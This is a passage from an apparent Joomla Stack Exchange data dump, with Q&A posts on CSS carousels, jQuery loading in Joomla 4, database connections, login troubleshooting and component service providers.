$this-&amp;gt;item-&amp;gt;jcfields[5]-&amp;gt;value; ?&amp;gt;&amp;quot;&amp;gt;&amp;lt;span&amp;gt;&amp;lt;?php echo $this-&amp;gt;item-&amp;gt;jcfields[3]-&amp;gt;value; ?&amp;gt;&amp;lt;/span&amp;gt;&amp;lt;/a&amp;gt;&#xA;    &amp;lt;/div&amp;gt;&#xA;&amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;And this is the CSS:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#newCarousel {&#xA;  height: auto;&#xA;  max-width: 1040px;&#xA;  position: relative;&#xA;  margin: 0 auto;&#xA;}&#xA;#newCarousel &amp;gt; * {&#xA;  animation: 24s autoplay6 infinite linear;&#xA;  position: absolute; &#xA;  top: 0;&#xA;  left: 0;&#xA;  opacity: 0.0;&#xA;}&#xA;@keyframes autoplay6 {&#xA;  0% {opacity: 0.0}&#xA;  4% {opacity: 1.0}&#xA;  33.33% {opacity: 1.0}&#xA;  37.33% {opacity: 0.0}&#xA;  100% {opacity: 0.0}&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(1) {&#xA;  animation-delay: 0s;&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(2) {&#xA;  animation-delay: 8s;&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(3) {&#xA;  animation-delay: 16s;&#xA;}&#xA;#newCarousel .carousel-article {&#xA;  position: absolute;&#xA;  height: auto;&#xA;  width: 100%;&#xA;}&#xA;#newCarousel .carousel-article:first-child {&#xA;  position: relative;&#xA;}&#xA;#newCarousel .textCopy1 {&#xA;  animation: 8s tC1 infinite linear;&#xA;  position: absolute;&#xA;  bottom: -2rem;&#xA;  left: 2rem;&#xA;  font-size: 1.5rem;&#xA;  line-height: 1.25rem;&#xA;  color: #fff;  &#xA;  opacity: 0;&#xA;  text-shadow: 0.12em 0.12em 0.12em rgba(0,0,0,0.9);&#xA;}&#xA;#newCarousel .textCopy1 a {&#xA;  color: #fff;&#xA;}&#xA;#newCarousel .textCopy2 {&#xA;  animation: 8s tC2 infinite linear;&#xA;  position: absolute;&#xA;  bottom: -2rem;&#xA;  font-size: 1.15rem;&#xA;  left: unset;&#xA;  right: 2rem;&#xA;  opacity: 0;&#xA;  text-align: right;&#xA;}&#xA;#newCarousel .textCopy2 a {&#xA;  color: var(--theme-darkest);&#xA;}&#xA;#newCarousel .textCopy2 span {&#xA;  background: rgba(255,255,255, 0.85);&#xA;  padding: 0.25rem 0.75rem;&#xA;}&#xA;@keyframes tC1 {&#xA;  0% {bottom: 0; opacity: 0.0}&#xA;  5% {bottom: 0; opacity: 0.0;}  &#xA;  20% {bottom: 60%; opacity: 1.0;}&#xA;  90% {bottom: 60%; opacity: 1.0;}  &#xA;  95% {bottom: 60%; opacity: 0.0;}&#xA;  100% {bottom: 0; opacity: 0;};&#xA;}&#xA;@keyframes tC2 {&#xA;  0% {bottom: -2rem; opacity: 0.0}&#xA;  20% {bottom: -2rem; opacity: 0.0}&#xA;  35% {bottom: 35%; right: 2rem; opacity: 1.0;}&#xA;  90% {bottom: 35%; right: 2rem; opacity: 1.0;}  &#xA;  95% {bottom: 35%; right: 2rem; opacity: 0.0;}   &#xA;  100% {bottom: -2rem; left: 2rem; opacity: 0.0;};&#xA;}&#xA;@media only screen and (min-width: 768px){&#xA;  @keyframes tC1 {&#xA;    0% {bottom: 0; opacity: 0.0}&#xA;    5% {bottom: 0; opacity: 0.0;}&#xA;    20% {bottom: 60%; opacity: 1.0;}&#xA;    90% {bottom: 60%; opacity: 1.0;}  &#xA;    95% {bottom: 60%; opacity: 0.0;}&#xA;    100% {bottom: 0; opacity: 0;};&#xA;  }&#xA;  @keyframes tC2 {&#xA;    0% {bottom: -2rem; opacity: 0.0}&#xA;    20% {bottom: -2rem; opacity: 0.0}&#xA;    35% {bottom: 45%; left: 4rem; opacity: 1.0;}&#xA;    90% {bottom: 45%; left: 4rem; opacity: 1.0;}  &#xA;    95% {bottom: 45%; left: 4rem; opacity: 0.0;}   &#xA;    100% {bottom: -2rem; left: 4rem; opacity: 0.0;};&#xA;  }&#xA;  #newCarousel .textCopy1 {&#xA;    font-size: 2.5rem;&#xA;  }&#xA;  #newCarousel .textCopy2 {&#xA;    font-size: 1.75rem;&#xA;  }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When viewed in Firefox inspector, the correct URLs are in the right place, but only the third URL shows up as an active link when the images or text are hovered over.&lt;/p&gt;&#xA;&lt;p&gt;I do have a surrounding div that wraps the whole lot and contains a pause/play button triggered by custom JS but removing that makes no difference.&lt;/p&gt;&#xA;&lt;p&gt;Any ideas what am I missing or doing wrong? I'm stumped. TIA.&lt;/p&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2023-12-26T21:05:05.600" Title="URL on three-image CSS carousel not changing with images and text" Tags="|css|joomla-4.x|carousel|html|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="32063" PostTypeId="2" ParentId="32062" CreationDate="2022-04-05T17:51:50.633" Score="0" Body="&lt;p&gt;Here is my revised CSS. Basically I solved it by moving the images way off the canvas until required. It also passes Accessibility tests.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#newCarousel {&#xA;  position: relative;&#xA;  margin: 0 auto;&#xA;  height: auto;&#xA;  max-width: 1040px;&#xA;}&#xA;#newCarousel &amp;gt; * {&#xA;  animation: 24s autoplay6 infinite linear;&#xA;  position: absolute; &#xA;  top: 0;&#xA;  left: 0;&#xA;  opacity: 0.0;&#xA;  background-color: #000;&#xA;}&#xA;@keyframes autoplay6 {&#xA;  0% {opacity: 0.0; left:0; top:0;}&#xA;  4% {opacity: 1.0; left: 0; top:0;}&#xA;  33.33% {opacity: 1.0; left: 0; top:0;}&#xA;  37.32% {left: 0; opacity: 0.0;}&#xA;  37.33% {left: -3000px; opacity: 0.0;}&#xA;  100% {opacity: 0.0}&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(1) {&#xA;  animation-delay: 0s;&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(2) {&#xA;  animation-delay: 8s;&#xA;}&#xA;#newCarousel &amp;gt; *:nth-child(3) {&#xA;  animation-delay: 16s;&#xA;}&#xA;#newCarousel &amp;gt; * a {&#xA;  color: #fff;&#xA;  text-decoration: none;&#xA;}&#xA;#newCarousel &amp;gt; .carousel-article {&#xA;  position: absolute;&#xA;  left: -3000px;&#xA;}&#xA;#newCarousel &amp;gt; .carousel-article:first-child {&#xA;  position: relative;&#xA;  left: -3000px;&#xA;}&#xA;#newCarousel .textCopy1 {&#xA;  animation: 8s tC1 infinite linear;&#xA;  position: absolute;&#xA;  bottom: -2rem;&#xA;  left: 2rem;&#xA;  font-size: 1.5rem;&#xA;  line-height: 1.25rem;&#xA;  color: #fff;&#xA;  opacity: 0;&#xA;  text-shadow: 0.12em 0.12em 0.12em rgba(0,0,0,0.9);&#xA;}&#xA;#newCarousel .textCopy2 {&#xA;  animation: 8s tC2 infinite linear;&#xA;  position: absolute;&#xA;  bottom: -2rem;&#xA;  font-size: 1.15rem;&#xA;  left: unset;&#xA;  right: 2rem;&#xA;  opacity: 0;&#xA;  text-align: right;&#xA;}&#xA;#newCarousel .textCopy2 a {&#xA;  color: #999999;&#xA;}&#xA;#newCarousel .textCopy2 span {&#xA;  background: rgba(255,255,255, 0.95);&#xA;  padding: 0.25rem 0.75rem;&#xA;}&#xA;@keyframes tC1 {&#xA;  0% {bottom: 0; opacity: 0.0}&#xA;  5% {bottom: 0; opacity: 0.0;}  &#xA;  20% {bottom: 65%; opacity: 1.0;}&#xA;  90% {bottom: 65%; opacity: 1.0;}  &#xA;  95% {bottom: 65%; opacity: 0.0;}&#xA;  100% {bottom: 0; opacity: 0;};&#xA;}&#xA;@keyframes tC2 {&#xA;  0% {bottom: -2rem; opacity: 0.0}&#xA;  20% {bottom: -2rem; opacity: 0.0}&#xA;  35% {bottom: 35%; right: 2rem; opacity: 1.0;}&#xA;  90% {bottom: 35%; right: 2rem; opacity: 1.0;}  &#xA;  95% {bottom: 35%; right: 2rem; opacity: 0.0;}   &#xA;  100% {bottom: -2rem; left: 2rem; opacity: 0.0;};&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13040" LastActivityDate="2022-04-05T17:51:50.633" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32064" PostTypeId="2" ParentId="32059" CreationDate="2022-04-06T07:31:21.977" Score="1" Body="&lt;p&gt;In core applications the root URI is manually set by passing the root path as second parameter to &lt;code&gt;Uri::root()&lt;/code&gt; method.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Uri\Uri;&#xA;&#xA;Uri::root(false, rtrim(\dirname(Uri::base(true), 3), '/\\'));&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-04-06T07:31:21.977" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32066" PostTypeId="1" CreationDate="2022-04-06T17:37:31.510" Score="1" ViewCount="979" Body="&lt;p&gt;I am trying to upgrade my Joomla 3 website to Joomla 4. One of the issues I am facing is that none of the jQuery code in my template's index.php file is working. Does jQuery not get loaded automatically anymore? I never had to do anything special to get it working in Joomla 3.&lt;/p&gt;&#xA;" OwnerUserId="11861" LastActivityDate="2023-08-12T00:42:30.040" Title="jQuery scripts not working in Joomla 4 template" Tags="|jquery|joomla-4.x|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32067" PostTypeId="2" ParentId="32066" CreationDate="2022-04-06T18:21:54.083" Score="4" Body="&lt;p&gt;Yes, for the most part J4 uses vanilla JavaScript and dependencies like jQuery should be loaded only when needed. If it's needed by your template's script files, you can add it as dependency in your &lt;code&gt;joomla.asset.json&lt;/code&gt; file:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;{&#xA;  &amp;quot;name&amp;quot;: &amp;quot;template.your-template&amp;quot;,&#xA;  &amp;quot;type&amp;quot;: &amp;quot;script&amp;quot;,&#xA;  &amp;quot;uri&amp;quot;: &amp;quot;template.js&amp;quot;,&#xA;  &amp;quot;dependencies&amp;quot;: [&#xA;    &amp;quot;jquery&amp;quot;&#xA;  ]&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Or you can manually enable it in template layouts:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;getWebAssetManager()-&amp;gt;useAsset('script', 'jquery');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;If jQuery is needed only in specific component view or module layouts, that's where you should be loading them.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2022-04-06T18:21:54.083" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32068" PostTypeId="1" CreationDate="2022-04-07T02:59:27.077" Score="1" ViewCount="403" Body="&lt;p&gt;I'm just started to learn using Joomla and one of the things that I need to do is to build a form that can insert data and that data can be displayed to another Joomla page.&lt;/p&gt;&#xA;&lt;p&gt;I got a few comments from a Facebook user who said that most Joomlers are using an extension to insert data. If I'm using an extension, how can I display the data that has been saved to other tables in my webpage?&lt;/p&gt;&#xA;&lt;p&gt;Also, if I don't want to use an extension, how can I build a form on my own?&lt;/p&gt;&#xA;" OwnerUserId="16239" LastEditorUserId="12352" LastEditDate="2022-04-07T04:42:56.773" LastActivityDate="2022-04-07T13:12:39.637" Title="How to use Joomla for insert, delete, display and update data from mysql?" Tags="|php|mysql|joomla-4|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32069" PostTypeId="1" CreationDate="2022-04-07T04:54:49.333" Score="2" ViewCount="114" Body="&lt;p&gt;I am trying to connect to another &lt;code&gt;VM (192.168.16.27)&lt;/code&gt; from &lt;code&gt;192.168.16.28&lt;/code&gt; to get Data out of the MariaDB Database (joomla).&#xA;So my Code is:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$link = mysqli_connect(&amp;quot;192.168.16.27&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;userpassword&amp;quot;, &amp;quot;joomladb&amp;quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;It works if I insert localhost instead of the IP adress and host it from the same server. I as well changed the bind_adress from both servers from &lt;code&gt;127.0.0.1&lt;/code&gt; to &lt;code&gt;0.0.0.0&lt;/code&gt; and expanded the &lt;code&gt;max_allowed_packet&lt;/code&gt; to &lt;code&gt;512M&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;I´m just trying to SELECT a single ID from one table of the joomladb.&lt;/p&gt;&#xA;&lt;p&gt;But I only get the error message - MySQL Server has gone away - and a blank white sheet&lt;/p&gt;&#xA;&lt;p&gt;So my question is: Does anyone have another idea what could go wrong in here?&#xA;(Someone from Stack Overflow lead me to this site.)&#xA;Thanks for any advice!&lt;/p&gt;&#xA;&lt;p&gt;EDIT:&lt;/p&gt;&#xA;&lt;p&gt;I´ve tried to add the Port as well:&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$link = mysqli_connect(&amp;quot;192.168.16.27:3306&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;userpassword&amp;quot;, &amp;quot;joomladb&amp;quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;$link = mysqli_connect(&amp;quot;192.168.16.27:3307&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;userpassword&amp;quot;, &amp;quot;joomladb&amp;quot;);&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;nothing changed.&lt;/p&gt;&#xA;&lt;p&gt;EDITEDIT:&lt;/p&gt;&#xA;&lt;p&gt;more code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$link = mysqli_connect(&amp;quot;192.168.16.27&amp;quot;, &amp;quot;user&amp;quot;, &amp;quot;userpassword&amp;quot;, &amp;quot;joomladb&amp;quot;);&#xA;$sql_news = &amp;quot;SELECT introtext FROM jos_content WHERE id = '543'&amp;quot;;&#xA;$result_query = mysqli_query($link, $sql_news);&#xA;&#xA;if (mysqli_num_rows($result_query)) {&#xA;  while ($row = mysqli_fetch_assoc($result_query)) &#xA;  {&#xA;     $news = $row[&amp;quot;introtext&amp;quot;];&#xA;  }&#xA;}&#xA;else &#xA;{&#xA;  echo &amp;quot;0 results&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="16240" LastEditorUserId="13472" LastEditDate="2022-04-07T13:17:04.863" LastActivityDate="2022-04-07T13:17:04.863" Title="MySQL Server has gone away with mysqli_connect to another LAMP Stack / TURNKEY Linux" Tags="|joomla-3.x|php|mysql|linux|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32070" PostTypeId="2" ParentId="32068" CreationDate="2022-04-07T13:12:39.637" Score="1" Body="&lt;p&gt;To build something without the use of extensions, you'll need to develop a component.&lt;/p&gt;&#xA;&lt;p&gt;You could build a your own component with a form that saves input into the database, and a part that displays it on the website. For that I'd advice to look at Joomla's core components, how they are build and work.&lt;/p&gt;&#xA;&lt;p&gt;I would &lt;strong&gt;use a good IDE&lt;/strong&gt; (like PHPStorm, Visual Studio, Netbeans) in combination &lt;strong&gt;with Xdebug&lt;/strong&gt; that enables you to step through Joomla's code to see what's happening and the contents of all variables.&lt;/p&gt;&#xA;&lt;p&gt;Furthermore there's some documentation for developers available. See the &lt;strong&gt;For Developers&lt;/strong&gt; part, and under &amp;quot;Appendices&amp;quot; the &lt;strong&gt;Joomla 4.x Extensions - Simple working examples explained&lt;/strong&gt; at &lt;a href=&quot;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/JDOC:Joomla_4_Tutorials_Project&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-07T13:12:39.637" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32071" PostTypeId="1" AcceptedAnswerId="32080" CreationDate="2022-04-08T01:39:38.430" Score="4" ViewCount="808" Body="&lt;p&gt;In Joomla 4 there are new files in the components, like:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;services/provider.php&lt;/li&gt;&#xA;&lt;li&gt;Extension/XxxComponent.php&lt;/li&gt;&#xA;&lt;li&gt;Service/HTML/AdministratorService&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;Are there available documentation about how to implement this new files for Joomla 4 components?&lt;/p&gt;&#xA;" OwnerUserId="14871" LastActivityDate="2022-08-03T07:35:11.623" Title="New files in Joomla 4 components" Tags="|custom-component|joomla-4|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32072" PostTypeId="2" ParentId="32071" CreationDate="2022-04-08T08:29:27.493" Score="5" Body="&lt;p&gt;An excellent resource for &lt;strong&gt;Joomla 4 extension development&lt;/strong&gt; is &amp;quot;Joomla 4.x Tutorial - Extension Development - &lt;strong&gt;The Way to Joomla 4 Extensions&lt;/strong&gt;&amp;quot; written by Astrid Günther: &lt;a href=&quot;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&quot; rel=&quot;noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/der-weg-zu-joomla4-erweiterungen/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;She explains the concept of &lt;strong&gt;service providers&lt;/strong&gt; here: &lt;a href=&quot;https://blog.astrid-guenther.de/en/die-erste-ansicht-im-backend/&quot; rel=&quot;noreferrer&quot;&gt;https://blog.astrid-guenther.de/en/die-erste-ansicht-im-backend/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;The &lt;strong&gt;boiler plate code&lt;/strong&gt; that Astrid uses contains &lt;code&gt;services/provider.php&lt;/code&gt;: &lt;a href=&quot;https://github.com/astridx/boilerplate/blob/t43/src/administrator/components/com_foos/services/provider.php&quot; rel=&quot;noreferrer&quot;&gt;https://github.com/astridx/boilerplate/blob/t43/src/administrator/components/com_foos/services/provider.php&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="13472" LastActivityDate="2022-04-08T08:29:27.493" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="32076" PostTypeId="1" CreationDate="2022-04-08T11:25:54.540" Score="1" ViewCount="28" Body="&lt;p&gt;I have a controller method that outputs some JSON which should be publicly accessible&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;index.php?option=com_mycomponent&amp;amp;task=mycontroller.json&amp;amp;format=json&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;If I set this as a System &amp;gt; URL menu type set to guest or public it still redirects to the login page&lt;/p&gt;&#xA;&lt;p&gt;How can I call a controller method publicly? Do I need to register it as a route or something like that?&lt;/p&gt;&#xA;" OwnerUserId="16173" LastActivityDate="2022-04-08T11:25:54.540" Title="Create a public controller method" Tags="|custom-component|joomla-4.x|" AnswerCount="0" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32077" PostTypeId="1" CreationDate="2022-04-08T11:43:09.717" Score="0" ViewCount="129" Body="&lt;p&gt;I am new to joomla, and working on joomla application which is currently running on production environment.&lt;/p&gt;&#xA;&lt;p&gt;Application contains 1000+ registered users.&lt;/p&gt;&#xA;&lt;p&gt;As per GDPR Policy, I have requirement for encryption and decryption of PII (User personal information) to prevent data loss.&lt;/p&gt;&#xA;&lt;p&gt;In my application I am using user personal data for authentication purpose which contain name of user and email id, which needs to be encrypted before storing data in database and also needs to decrypt before using.&lt;/p&gt;&#xA;&lt;p&gt;I am using core user authentication process of joomla&lt;/p&gt;&#xA;&lt;p&gt;Application running on below versions&#xA;Joomla 3.9.7&#xA;Php 5.4.16&#xA;Apache 2.4.6&#xA;MySQL&#xA;Unix server&lt;/p&gt;&#xA;&lt;p&gt;I know php5 is EOL now and needs to upgrade the same.&lt;/p&gt;&#xA;" OwnerUserId="16247" LastActivityDate="2022-04-08T11:43:09.717" Title="How to encrypt and decrypt User data in joomla" Tags="|joomla-3.x|php|mysql|security|authentication|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="32078" PostTypeId="1" AcceptedAnswerId="32079" CreationDate="2022-04-08T13:21:27.287" Score="1" ViewCount="318" Body="&lt;p&gt;Front end and also Admin does not log in, and it does not error. It just seems to refresh.  I'm using Joomla 3.x&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;I have tried overwriting all of the core files via FTP&lt;/li&gt;&#xA;&lt;li&gt;plg_user_joomla is enabled (checked via PHPMyAdmin)&lt;/li&gt;&#xA;&lt;li&gt;I have changed my PHP version from 7.3 to 7.2 and 7.1&lt;/li&gt;&#xA;&lt;li&gt;Nothing is set for the cookie domain in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;error reporting is set to maximum&lt;/li&gt;&#xA;&lt;li&gt;I have changed the password to check that is correct but it is not saying incorrect password&lt;/li&gt;&#xA;&lt;li&gt;If I put an incorrect password, it does not tell me that error message&lt;/li&gt;&#xA;&lt;li&gt;I have disabled Admin Tools&lt;/li&gt;&#xA;&lt;li&gt;I have disabled Litespeed Cache&lt;/li&gt;&#xA;&lt;li&gt;I have checked plg_authentication_joomla and it is enabled&lt;/li&gt;&#xA;&lt;li&gt;I have renamed .htaccess from htaccess.txt to .htaccess&lt;/li&gt;&#xA;&lt;li&gt;I have replaced the Admin Tools .htaccess with the default Joomla .htaccess&lt;/li&gt;&#xA;&lt;li&gt;I have enabled error reporting to &amp;quot;Maximum&amp;quot; via FTP AND I have checked that the value held and is correct&lt;/li&gt;&#xA;&lt;li&gt;I have enabled Joomla debug&lt;/li&gt;&#xA;&lt;li&gt;I have manually deleted the cache folders from /cache and administrator/cache&lt;/li&gt;&#xA;&lt;li&gt;I have checked the &amp;quot;cookie domain&amp;quot; is empty in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;I have checked the &amp;quot;live site&amp;quot; value is empty in configuration.php&lt;/li&gt;&#xA;&lt;li&gt;I have checked the site is https for the entire site&lt;/li&gt;&#xA;&lt;li&gt;I have checked there is no conflict with www and non-www or any redirect loop&lt;/li&gt;&#xA;&lt;li&gt;I have repaired the table in PHPMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;I have optimized (sic) the table in PHPMyAdmin&lt;/li&gt;&#xA;&lt;li&gt;The last thing I remember doing that could cause this was installing a plugin email as user name.  I have renamed this folder &amp;quot;--email-as-username&amp;quot;&lt;/li&gt;&#xA;&lt;li&gt;Checked for JavaScript errors in the console on the login page&lt;/li&gt;&#xA;&lt;li&gt;Changed logs and administrator/logs to 777 file permissions&lt;/li&gt;&#xA;&lt;li&gt;Set all folders to 755 file permissions (save for logs)&lt;/li&gt;&#xA;&lt;li&gt;Set files to 644 file permissions (except for config which is 755)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;The login has been working the entire time.  It is due to be released and suddenly there is a  problem.&lt;/p&gt;&#xA;&lt;h1&gt;Other references:&lt;/h1&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/22549/cant-log-in-with-admin-no-error-messages&quot;&gt;Can&amp;#39;t log in with admin, no error messages&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.itoctopus.com/login-to-joomla-administrator-not-working-and-no-error-is-displayed&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.itoctopus.com/login-to-joomla-administrator-not-working-and-no-error-is-displayed&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/4764/cannot-log-in-to-joomla-front-and-back-after-site-move&quot;&gt;Cannot log in to Joomla (front and back) after site move&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/5270/unable-to-login-through-admin-panel-of-joomla-3-3-site&quot;&gt;Unable to login through admin panel of Joomla 3.3 site&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/19528/cannot-login-to-administrator-when-hosted&quot;&gt;Cannot login to administrator when hosted&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/28489/admin-does-not-log-in-or-error&quot;&gt;Admin does not log in or error&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://joomla.stackexchange.com/questions/14184/i-cant-access-the-control-panel-in-joomla-3-4&quot;&gt;I can&amp;#39;t access the control panel in joomla 3.4&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://forum.joomla.org/viewtopic.php?t=965082&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://forum.joomla.org/viewtopic.php?t=965082&lt;/a&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://www.itoctopus.com/10-reasons-why-youre-not-able-to-login-to-your-joomla-website&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://www.itoctopus.com/10-reasons-why-youre-not-able-to-login-to-your-joomla-website&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2022-04-08T13:46:01.870" LastActivityDate="2022-04-09T09:42:43.090" Title="Cannot login to previously working Joomla site front end and back end" Tags="|joomla-3.3.x|login|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32079" PostTypeId="2" ParentId="32078" CreationDate="2022-04-08T13:54:21.917" Score="1" Body="&lt;p&gt;I was using 2 databases one for dev and one for live.  My checks were all on the wrong database and it was in fact the Joomla authentication plugin that was disabled!&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2022-04-09T09:42:43.090" LastActivityDate="2022-04-09T09:42:43.090" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="32080" PostTypeId="2" ParentId="32071" CreationDate="2022-04-09T13:27:36.880" Score="5" Body="&lt;p&gt;&lt;code&gt;services/provider.php&lt;/code&gt; should return a service provider which is used to register services with the service container and set up initial dependencies. This is the only file with a hardcoded filename and, technically, the only mandatory file required for creating a functioning modern component. The component's service provider should provide an implementation of &lt;code&gt;Joomla\CMS\Extension\ComponentInterface&lt;/code&gt;, which in turn must be capable of creating an instance of &lt;code&gt;Joomla\CMS\Dispatcher\DispatcherInterface&lt;/code&gt;. If an implementation of component is not provided, Joomla will fallback to a legacy component. Although using a provider file and a legacy component is an unlikely combination. That said, this should be consider the bare minimum for a service provider:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Joomla\CMS\Application\CMSApplicationInterface;&#xA;use Joomla\CMS\Dispatcher\DispatcherInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            static fn () =&amp;gt; new class implements ComponentInterface&#xA;            {&#xA;                public function getDispatcher(CMSApplicationInterface $app): DispatcherInterface&#xA;                {&#xA;                    return new class implements DispatcherInterface&#xA;                    {&#xA;                        public function dispatch()&#xA;                        {&#xA;                            // Component's execution logic goes here.&#xA;                        }&#xA;                    };&#xA;                }&#xA;            }&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Of course, you may want to use concrete classes instead of anonymous ones. So let's move the component class to a separate file (e.g. &lt;code&gt;Extension/XxxComponent.php&lt;/code&gt;). Note that class naming convention is not important. You'll only refer to the class in your service provider.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;namespace Acme\Component\Barebone\Administrator;&#xA;&#xA;use Joomla\CMS\Application\CMSApplicationInterface;&#xA;use Joomla\CMS\Dispatcher\DispatcherInterface;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;&#xA;class BareboneComponent implements ComponentInterface&#xA;{&#xA;    public function getDispatcher(CMSApplicationInterface $app): DispatcherInterface&#xA;    {&#xA;        // Create and return a dispatcher instance here.&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Update the provider accordingly:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;use Acme\Component\Barebone\Administrator\BareboneComponent;&#xA;use Joomla\CMS\Extension\ComponentInterface;&#xA;use Joomla\DI\Container;&#xA;use Joomla\DI\ServiceProviderInterface;&#xA;&#xA;return new class implements ServiceProviderInterface&#xA;{&#xA;    public function register(Container $container)&#xA;    {&#xA;        $container-&amp;gt;set(&#xA;            ComponentInterface::class,&#xA;            static fn () =&amp;gt; new BareboneComponent&#xA;        );&#xA;    }&#xA;};&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The component class has two main purposes:&lt;/p&gt;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Creating a dispatcher instance based on application. The dispatcher is the entry point of a component. It maps the request to a controller and executes it. Additionally it may perform initial authorization checks and perform component bootstrapping tasks like loading language files.&lt;/li&gt;&#xA;&lt;li&gt;Implementing various features used across the CMS. This includes things like routing (SEF URLs), tagging, categories, custom fields and more. These features are added by implementing specific 